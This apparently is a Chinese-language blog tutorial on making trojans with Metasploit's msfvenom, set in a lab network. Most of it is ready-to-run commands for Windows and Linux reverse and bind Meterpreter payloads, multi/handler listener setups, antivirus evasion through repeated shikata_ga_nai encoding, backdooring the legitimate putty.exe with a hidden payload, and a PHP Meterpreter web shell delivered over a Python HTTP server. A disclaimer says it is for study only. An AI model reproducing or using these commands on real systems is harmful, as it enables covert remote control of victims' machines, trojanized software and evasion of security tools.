MsfVenom进行木马制作
本文最后更新于 2024-07-26,文章内容可能已经过时。
MsfVenom木马制作
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
MsfVenom功能介绍
msvenom的功能:常用于生成木马,在目标机器上执行,在本地机器kali中上线,与反弹Shell类似。MSFVenom可以生成两种类型的攻击载荷:
(1)Payload:Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意程序,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。
生成一个文件:
Windows:exe
linux:elf
(2)shellcode:shelkcode是Payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。shelcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供一个命令行shell。
机器语言(0101101101)·>指令语言(汇编语言)·>高级语言(c、c++、python、java等)
攻击载荷分类
(1) single
是一种完全独立的Payoad,而且使用起来就像运行 calc.exe 一样简单,例如添加一个系统用户或删除一份文件。由于singlePayload是完全独立的,所以其生成的Payload通常很大。
(2) Stager
这种Payl0ad负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。
(3) stage
是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制
Single payload的格式为:/ 如:windows/powershell_bind_tcp
Stager/stage payload的格式为:/ 如:windows/meterperter/reverse_tcp
木马创建
-p,–pay1oad | 指定需要使用的payoad。使用自定义的payload,请使用-;或者stdin指定 |
---|---|
-l,–list | 列出指定模块的所有可用资源,模块类型包括:pay1oads,encoders,nops,a11 |
-n,–nopsled | 为payload预先指定一个NOP滑动长度 |
-f,–format | 指定输出格式 |
-e,–encoder | 指定需要使用的编码器如xor等 |
-a,–arch | 指定payload的目标架构 x64 x86 |
-a,–platform | 指定payload的目标平台 |
-s,–space | 设定规避字符集,比如:& #039;\x00\xff& #039; |
-i,–iterations | 指定payload的编码次数,绕杀毒 |
-X,–template | 指定一个自定义的可执行文件作为模板 |
-pay1oad-options | 列举pay1oad的标准选项 |
-0,–Qut | 将payload保存到指定的文件路径 |
-V,–var-name | 指定一个自定义的变量,以确定输出格式 |
-she1lest | 最小化生成payload |
要查看支持哪些平台,使用参数:msfvenom --1ist platforms,文持哪些输出格式,–1ist formats,以此类推
正向连接和反向连接:
windows的反向木马:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=[攻击机ip] lport=[攻击机端口] -f exe -o [生成木马的名称].exe
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.91.129 lport=5555 -f exe -o windows_reverse_tcp.exe
可以看到生成的木马文件在桌面上生成。
用msfvenom自带的/shikata_ga_nai
免杀框架生成免杀的木马:
msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.91.129 lport=5555 -e x86/shikata_ga_nai -f exe -o windows_reverse_tcp_2.exe -i 5
# -i是免杀混淆5次
将生成的木马拷贝到目标主机中,再kali中开启msf监听
use exploit/multi/handler
设置为原本生成木马的payload:
set payload windows/x64/meterpreter/reverse_tcp
设置为原本生成木马的lhost和lport:
set lhost 192.168.91.129
set lport 5555
启动run监听即可,
查看一下kali中端口的开放情况,确认正在监听:
再目标主机中执行生成的木马文件,即可看到上线成功。
windows_32位反向木马:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.91.129 LPORT=5555 -b"\x00" -e x86/shikata_ga_nai -f exe > msf.exe
# --platform windows: 指定目标平台为 Windows,这样生成的有效负载就会兼容 Windows 操作系统。
# -a x86是32位的
# 这里-b"\x00"是规避字符“\x00”
# x86/shikata_ga_nai 是msf自带的反杀模块
2.kali开启监听:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set lhost 192.168.91.129
set lport 5555
run
3.木马上传至目标主机并运行,kali成功返回监听信息
window正向木马:
1.生成木马:
msfvenom -p windows/x64/meterpreter/bind_tcp lhost=0.0.0.0 lport=5555 -f exe -o msf_bind_tcp_64.exe
目标主机运行木马,netstat -antp tcp
查看有没有生成5555的端口,发现有5555的端口正在等待连接。
2.kali开启msf连接木马:
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
show options
set rhost 192.168.91.133
# 192.168.91.133为目标主机的ip
run
#成功上线
输入bg返回模块。输入sessions查看连接的目标会话,可以发现一个之前反向连接的,一个这里生成正向木马进行连接的sessions
木马上传目标主机运行木马,netstat -antp tcp
查看有没有生成5555的端口,发现有5555的端口正在等待连接。
Windows_32位正向木马:
1.创建木马
msfvenom -a x86 --platform windows -p windows/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=5555 -b"\x00" -e x86/shikata_ga_nai -f exe -i 5 > msf.exe
# --platform windows: 指定目标平台为 Windows,这样生成的有效负载就会兼容 Windows 操作系统。
# -a x86是32位的
# 这里-b"\x00"是规避字符“\x00”
# x86/shikata_ga_nai 是msf自带的免杀模块
# -i 5 免杀混淆5次
目标主机上运行木马,查看端口信息,
2.kali开启msf连接木马:
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
show options
set rhost 192.168.91.134
# 192.168.91.134为目标主机的ip
set port 5555
run
#成功上线
linux的反向木马:
1.创建木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={监控IP} LPORT={监控端口} -f elf -o msf_linux_reverse_tcp_64.elf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.91.129 LPORT=4545 -f elf -o msf_linux_reverse_tcp_64.elf
2.msf创建并开启监听
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
show options
set lhost 192.168.91.129
set lport 4545
run
上传生成的木马文件到目标linux机器中,修改执行权限并运行
成功上线目标linux主机
linux的正向木马:
1.创建木马
msfvenom -p linux/x64/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=4545 -f elf -o msf_linux_bind_tcp_64.elf
将生成的木马文件上传至目标linux主机的系统中,修改可执行权限并运行木马
2.kali进行开启msf进行连接木马:
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.91.141
set rport 4545
run
成功上线目标linux主机。
木马绑定应用程序
首先在网上随便找一个可以进行木马绑定的合适的应用程序,这里我使用的是putty.exe
这个应用程序
将要进行绑定的应用程序拷贝到kali系统中进行木马绑定的准备。
(1)创建木马
msfvenom -p windows/meterpreter/reverse_http lhost=192.168.91.129 lport=5656 -a x86 --platform windows -x putty.exe -k -f exe -o msf_putty_http_32.exe
要在要绑定的生成可执行程序的当前路径下进行生成
将新生成的绑定木马的程序上传到目标主机中
(2)在kali中开启监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
show options
set lhost 192.168.91.129
set lport 5656
run
在目标主机中运行木马程序
成功上线目标主机
生成PHP木马
msfvenom -p php/meterpreter_reverse_tcp LHosT=192.168.91.129 LPORT=5959 -f raw -o msf_php_tcp.php
把生成的文件拷贝到php环境下,通过php服务器进行访问。
例如:比如放在lampp的htdocs中,然后启动服务,访问此php页面
1、开启kali监听:
handler -p php/meterpreter_reverse_tcp -H 192.168.91.129 -P 5959
2.启动php服务,访问页面
或者3.传递木马
在kali里面使用python简单开启一个http server
root@kali:~# python -m SimpleHTTPServer 888
靶机访问kali 888端口进行下载木马程序,并运行,也可以成功上线。
- 感谢你赐予我前进的力量